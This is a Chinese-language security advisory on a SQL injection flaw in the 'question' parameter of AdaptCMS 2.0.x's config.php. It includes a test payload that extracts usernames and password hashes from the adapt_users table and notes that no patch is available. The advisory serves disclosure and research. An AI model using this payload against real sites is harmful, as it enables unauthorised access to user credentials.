发布日期：2013-02-04
更新日期：2013-02-05

受影响系统：

AdaptCMS AdaptCMS 2.0.2
AdaptCMS AdaptCMS 2.0.1
AdaptCMS AdaptCMS 2.0

描述：

---

BUGTRAQ  ID: 57674

AdaptCMS是Insane Visions发布的网站内容管理系统。

AdaptCMS 2.0.4及之前版本的config.php脚本没有正确过滤 'question'参数值，可允许攻击者在后端数据库中注入或操作SQL查询，导致操纵或泄漏任意数据。

<*来源：kallimero
  
  链接：http://www.osvdb.org/show/osvdb/89828
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

article_id=0&amp;amp;poll_id=1&amp;amp;vote=2&amp;amp;custom=1&amp;amp;question=%2527, 1, 1350677660), (null, 0, (select concat(username, 0x3a, password) from adapt_users), &#39;option&#39;, &#39;&#39;, 1, 1337, 1349597648  )

建议：

---

厂商补丁：

AdaptCMS
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.adaptcms.com

浏览次数：4980
严重程度：0（网友投票）